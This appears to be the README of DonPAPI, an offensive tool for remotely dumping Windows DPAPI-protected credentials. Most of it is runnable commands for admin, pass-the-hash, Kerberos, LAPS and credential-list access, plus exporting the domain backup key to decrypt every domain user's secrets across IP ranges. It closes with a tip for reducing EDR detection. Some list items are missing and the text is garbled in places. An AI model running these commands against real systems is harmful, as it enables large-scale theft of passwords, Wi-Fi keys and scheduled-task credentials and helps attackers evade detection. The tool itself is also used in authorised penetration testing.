DonPAPI is a Dumping DPAPI Credz Remotely.
DPAPI Dumping
Lots of credentials are protected by DPAPI.
We aim at locating those “secured” credentials, and retreive them using :
TaskScheduled blob)With local admin account on a host, we can :
With a user password, or the domain PVK we can unprotect the user’s DPAPI secrets.
Dump all secrets of the target machine with an admin account :
DonPAPI.py domain/user:passw0rd@target
Using user’s hash
DonPAPI.py –hashes : domain/user@target
Using kerberos (-k) and local auth (-local_auth)
DonPAPI.py -k domain/user@target
DonPAPI.py -local_auth user@target
Using a user with LAPS password reading rights
DonPAPI.py -laps domain/user:passw0rd@target
It is also possible to provide the tool with a list of credentials that will be tested on the target. DonPAPI will try to use them to decipher masterkeys.
This credential file must have the following syntax:
user1:pass1
user2:pass2
…
DonPAPI.py -credz credz_file.txt domain/user:passw0rd@target
When a domain admin user is available, it is possible to dump the domain backup key using impacket dpapi.py tool.
dpapi.py backupkey –export
This backup key can then be used to dump all domain user’s secrets!
python DonPAPI.py -pvk domain_backupkey.pvk domain/user:passw0rd@domain_network_list
Target can be an IP, IP range, CIDR, file containing list targets (one per line)
The RemoteOps part can be spoted by some EDR. It can be disabled using --no_remoteops flag, but then the machine DPAPI key won’t be retrieved, and scheduled task credentials/Wi-Fi passwords won’t be harvested.
